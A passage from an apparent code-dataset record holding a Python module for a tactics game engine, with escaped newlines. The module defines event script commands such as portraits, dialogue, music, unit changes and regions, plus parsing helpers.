Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-5": "from enum import Enum\nfrom app.utilities.data import Prefab\n\nclass Tags(Enum):\n FLOW_CONTROL = 'Flow Control'\n MUSIC_SOUND = 'Music/Sound'\n PORTRAIT = 'Portrait'\n BG_FG = 'Background/Foreground'\n DIALOGUE_TEXT = 'Dialogue/Text'\n CURSOR_CAMERA = 'Cursor/Camera'\n LEVEL_VARS = 'Level-wide Unlocks and Variables'\n GAME_VARS = 'Game-wide Unlocks and Variables'\n TILEMAP = 'Tilemap'\n REGION = 'Region'\n ADD_REMOVE_INTERACT_WITH_UNITS = 'Add/Remove/Interact with Units'\n MODIFY_UNIT_PROPERTIES = 'Modify Unit Properties'\n UNIT_GROUPS = 'Unit Groups'\n MISCELLANEOUS = 'Miscellaneous'\n HIDDEN = 'Hidden'\n\nclass EventCommand(Prefab):\n nid: str = None\n nickname: str = None\n tag: Tags = Tags.HIDDEN\n desc: str = ''\n\n keywords: list = []\n optional_keywords: list = []\n flags: list = []\n\n values: list = []\n display_values: list = []\n\n def __init__(self, values=None, disp_values=None):\n self.values = values or []\n self.display_values = disp_values or values or []\n\n def save(self):\n # Don't bother saving display values if they are identical\n if self.display_values == self.values:\n return self.nid, self.values\n else:\n return self.nid, self.values, self.display_values\n\n def to_plain_text(self):\n if self.display_values:\n return ';'.join([self.nid] + self.display_values)\n else:\n return ';'.join([self.nid] + self.values)\n\n def __repr__(self):\n return self.to_plain_text()\n\nclass Comment(EventCommand):\n nid = \"comment\"\n nickname = '#'\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\n**Lines** starting with '#' will be ignored.\n \"\"\"\n\n def to_plain_text(self):\n return self.values[0]\n\nclass If(EventCommand):\n nid = \"if\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nIf the _Condition_ returns true, the block under this command will be executed. If it returns false, the script will search for the next **elif**, **else**, or **end** command before proceeding. If it is not a valid Python expression, the result will be treated as false.\n\nRemember to end your **if** blocks with **end**.\n\nThe indentation is not required, but is recommended for organization of the conditional blocks.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\n keywords = ['Condition']\n\nclass Elif(EventCommand):\n nid = \"elif\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nWorks exactly like the **if** statement, but is called only if the previous **if** or **elif** returned false.\n\nIn the following example, the **elif** will only be processed if `if;game.check_dead('Eirika')` return false.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\n keywords = ['Condition']\n\nclass Else(EventCommand):\n nid = \"else\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nDefines a block to be executed only if the previous **if** or **elif** returned false.\n\nExample:\n\n```\nif;game.check_dead('Eirika')\n lose_game\nelif;game.check_dead('Lyon')\n win_game\nelse\n u;Eirika\n s;Eirika;Nice!\n r;Eirika\nend\n```\n \"\"\"\n\nclass End(EventCommand):\n nid = \"end\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nEnds a conditional block. Refer to the **if** command for more information.\n \"\"\"\n\nclass Break(EventCommand):\n nid = \"break\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nImmediately ends the current event.\n \"\"\"\n\n\nclass Wait(EventCommand):\n nid = \"wait\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nPauses the execution of the script for _Time_ milliseconds.\n\nOften used after a scene transition, cursor movement, or reinforcements to give the player a chance to take in the scene.\n \"\"\"\n\n keywords = ['Time']\n\nclass EndSkip(EventCommand):\n nid = \"end_skip\"\n tag = Tags.FLOW_CONTROL\n desc = \\\n \"\"\"\nIf the player was skipping through the event script, stop the skip here. Used to prevent a single skip from skipping through an entire event.\n \"\"\"\n\nclass Music(EventCommand):\n nid = \"music\"\n nickname = \"m\"\n tag = Tags.MUSIC_SOUND\n desc = \\\n \"\"\"\nFades in _Music_ over the course of _Time_ milliseconds. Fade in defaults to 400 milliseconds.\n \"\"\"\n\n keywords = ['Music']\n optional_keywords = ['Time'] # How long to fade in (default 400)\n\nclass MusicClear(EventCommand):\n nid = \"music_clear\"\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nFades out the currently playing song over the course of _Time_ milliseconds. Also clears the entire song stack. Fade out defaults to 400 milliseconds.\n \"\"\"\n\n optional_keywords = ['Time'] # How long to fade out\n\nclass Sound(EventCommand):\n nid = \"sound\"\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nPlays the _Sound_ once.\n \"\"\"\n\n keywords = ['Sound']\n\nclass ChangeMusic(EventCommand):\n nid = 'change_music'\n tag = Tags.MUSIC_SOUND\n\n desc = \\\n \"\"\"\nChanges the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.\n \"\"\"\n\n keywords = ['PhaseMusic', 'Music']\n\nclass AddPortrait(EventCommand):\n nid = \"add_portrait\"\n nickname = \"u\"\n tag = Tags.PORTRAIT\n\n desc = \\\n \"\"\"\nAdds a portrait to the screen.\n\nExtra flags:\n\n1. _mirror_: Portrait will face opposite expected direction.\n2. _low_priority_: Portrait will appear behind all other portraits on the screen.\n3. _immediate_: Portrait will not fade in.\n4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.\n \"\"\"\n\n keywords = ['Portrait', 'ScreenPosition']\n optional_keywords = ['Slide', 'ExpressionList']\n flags = [\"mirror\", \"low_priority\", \"immediate\", \"no_block\"]\n\nclass MultiAddPortrait(EventCommand):\n nid = \"multi_add_portrait\"\n nickname = \"uu\"\n tag = Tags.PORTRAIT\n\n desc = \\\n \"\"\"\nAdds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.\n \"\"\"\n\n keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n\nclass RemovePortrait(EventCommand):\n nid = \"remove_portrait\"\n nickname = \"r\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait']\n flags = [\"immediate\", \"no_block\"]\n\nclass MultiRemovePortrait(EventCommand):\n nid = \"multi_remove_portrait\"\n nickname = \"rr\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'Portrait']\n optional_keywords = ['Portrait', 'Portrait']\n\nclass MovePortrait(EventCommand):\n nid = \"move_portrait\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'ScreenPosition']\n flags = [\"immediate\", \"no_block\"]\n\nclass BopPortrait(EventCommand):\n nid = \"bop_portrait\"\n nickname = \"bop\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait']\n flags = [\"no_block\"]\n\nclass Expression(EventCommand):\n nid = \"expression\"\n nickname = \"e\"\n tag = Tags.PORTRAIT\n\n keywords = ['Portrait', 'ExpressionList']\n\nclass Speak(EventCommand):\n nid = \"speak\"\n nickname = \"s\"\n tag = Tags.DIALOGUE_TEXT\n\n keywords = ['Speaker', 'Text']\n optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']\n flags = ['low_priority']\n\nclass Transition(EventCommand):\n nid = \"transition\"\n nickname = \"t\"\n tag = Tags.BG_FG\n\n optional_keywords = ['Direction', 'Speed', 'Color3']\n\nclass Background(EventCommand):\n # Also does remove background\n nid = \"change_background\"\n nickname = \"b\"\n tag = Tags.BG_FG\n\n optional_keywords = ['Panorama']\n flags = [\"keep_portraits\"]\n\nclass DispCursor(EventCommand):\n nid = \"disp_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Bool\"]\n\nclass MoveCursor(EventCommand):\n nid = \"move_cursor\"\n nickname = \"set_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass CenterCursor(EventCommand):\n nid = \"center_cursor\"\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass FlickerCursor(EventCommand):\n nid = 'flicker_cursor'\n nickname = 'highlight'\n tag = Tags.CURSOR_CAMERA\n\n keywords = [\"Position\"]\n flags = [\"immediate\"]\n\nclass GameVar(EventCommand):\n nid = 'game_var'\n tag = Tags.GAME_VARS\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass IncGameVar(EventCommand):\n nid = 'inc_game_var'\n tag = Tags.GAME_VARS\n\n keywords = [\"Nid\"]\n optional_keywords = [\"Condition\"]\n\nclass LevelVar(EventCommand):\n nid = 'level_var'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Nid\"]\n optional_keywords = [\"Condition\"]\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n\n # Whether to force the player to move the turnwheel back\n # defaults to true\n optional_keywords = ['Bool']\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n\n keywords = [\"Tilemap\"]\n # How much to offset placed units by\n # Which tilemap to load the unit positions from\n optional_keywords = [\"PositionOffset\", \"Tilemap\"]\n flags = [\"reload\"] # Should place units in previously recorded positions\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"UniqueUnit\"]\n optional_keywords = [\"Team\", \"AI\"]\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n # Nid, class, level, team, ai, faction, anim variant\n keywords = [\"String\", \"Klass\", \"String\", \"Team\"]\n optional_keywords = [\"AI\", \"Faction\", \"String\", \"ItemList\"]\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n # Unit template and new unit nid (can be '')\n keywords = [\"Unit\", \"String\"]\n # Unit level, position, entrytype, placement\n optional_keywords = [\"String\", \"Position\", \"EntryType\", \"Placement\"]\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"Position\", \"EntryType\", \"Placement\"]\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"Position\", \"MovementType\", \"Placement\"]\n flags = ['no_block', 'no_follow']\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n optional_keywords = [\"RemoveType\"]\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\"]\n flags = ['immediate']\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n keywords = [\"Unit\", \"Unit\"]\n optional_keywords = [\"CombatScript\", \"Ability\"]\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\", \"PositiveInteger\"]\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\", \"PositiveInteger\"]\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = [\"GlobalUnit\"]\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\"]\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"Unit\"]\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\"]\n optional_keywords = [\"StartingGroup\", \"EntryType\", \"Placement\"]\n flags = [\"create\"]\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\", \"CardinalDirection\", \"StartingGroup\"]\n optional_keywords = [\"EntryType\", \"Placement\"]\n flags = [\"create\", \"no_block\", 'no_follow']\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\", \"StartingGroup\"]\n optional_keywords = [\"MovementType\", \"Placement\"]\n flags = ['no_block', 'no_follow']\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n\n keywords = [\"Group\"]\n optional_keywords = [\"RemoveType\"]\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Item\"]\n flags = ['no_banner', 'no_choice', 'droppable']\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Item\"]\n flags = ['no_banner']\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n\n keywords = [\"Integer\"]\n optional_keywords = [\"Party\"]\n flags = ['no_banner']\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n\n keywords = [\"Condition\"]\n optional_keywords = [\"Party\", \"String\"]\n flags = ['no_banner']\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"PositiveInteger\"]\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"PositiveInteger\"]\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"WeaponType\", \"Integer\"]\n flags = ['no_banner']\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Skill\"]\n flags = ['no_banner']\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Skill\"]\n flags = ['no_banner']\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"AI\"]\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"Team\"]\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"PortraitNid\"]\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"StatList\"]\n flags = ['immediate']\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\", \"StatList\"]\n flags = ['immediate']\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n # Second argument is level that is eval'd\n keywords = [\"GlobalUnit\", \"String\"]\n # Whether to actually change the unit's level\n flags = [\"hidden\"]\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = [\"String\"]\n # Whether to actually change the unit's level\n flags = [\"hidden\"]\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\"]\n optional_keywords = [\"Klass\"]\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\"]\n optional_keywords = [\"Klass\"]\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Tag\"]\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Tag\"]\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Unit\", \"Unit\"]\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Unit\", \"Unit\"]\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n\n keywords = [\"Lore\"]\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n\n keywords = [\"Lore\"]\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n\n keywords = [\"Item\"]\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n\n keywords = [\"Item\"]\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n\n keywords = [\"Nid\", \"Position\", \"Size\", \"RegionType\"]\n optional_keywords = [\"String\"]\n flags = [\"only_once\"]\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n\n keywords = [\"Nid\"]\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n\n keywords = [\"Layer\"]\n optional_keywords = [\"LayerTransition\"]\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n\n keywords = [\"Layer\"]\n optional_keywords = [\"LayerTransition\"]\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n\n keywords = [\"Weather\"]\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n\n keywords = [\"Weather\"]\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"String\"]\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n\n keywords = [\"MapAnim\", \"Position\"]\n flags = [\"no_block\"]\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n # Puts units on formation tiles automatically\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n\n optional_keywords = [\"Bool\", \"Music\"] # Pick units\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Panorama\"]\n optional_keywords = [\"Music\"]\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Unit\", \"ItemList\"]\n optional_keywords = [\"ShopFlavor\"]\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n\n optional_keywords = [\"Music\", \"String\"]\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\"]\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\"]\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\", \"String\"]\n flags = ['wait', 'center', 'no_split']\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"Portrait\", \"String\", \"String\"]\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \\\n \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n\n keywords = [\"Unit\"]\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n\n keywords = [\"Unit\"]\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n\n keywords = [\"Unit\"]\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Event\"]\n optional_keywords = [\"GlobalUnit\", \"GlobalUnit\"]\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = \"Turn free roam mode on or off\"\n\n keywords = [\"Bool\"]\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n\n keywords = [\"Unit\"]\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = \"Removes all units other than the roaming unit\"\n\n keywords = []\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = \"Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.\"\n\n keywords = [\"Unit\", \"Integer\"]\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = \"Moves the initiative of the specified unit.\"\n\n keywords = [\"Unit\", \"Integer\"]\n\ndef get_commands():\n return EventCommand.__subclasses__()\n\ndef restore_command(dat):\n if len(dat) == 2:\n nid, values = dat\n display_values = None\n elif len(dat) == 3:\n nid, values, display_values = dat\n subclasses = EventCommand.__subclasses__()\n for command in subclasses:\n if command.nid == nid:\n copy = command(values, display_values)\n return copy\n print(\"Couldn't restore event command!\")\n print(nid, values, display_values)\n return None\n\ndef parse_text(text):\n if text.startswith('#'):\n return Comment([text])\n arguments = text.split(';')\n command_nid = arguments[0]\n subclasses = EventCommand.__subclasses__()\n for command in subclasses:\n if command.nid == command_nid or command.nickname == command_nid:\n cmd_args = arguments[1:]\n true_cmd_args = []\n command_info = command()\n for idx, arg in enumerate(cmd_args):\n if idx < len(command_info.keywords):\n cmd_keyword = command_info.keywords[idx]\n elif idx - len(command_info.keywords) < len(command_info.optional_keywords):\n cmd_keyword = command_info.optional_keywords[idx - len(command_info.keywords)]\n else:\n cmd_keyword = \"N/A\"\n # if parentheses exists, then they contain the \"true\" 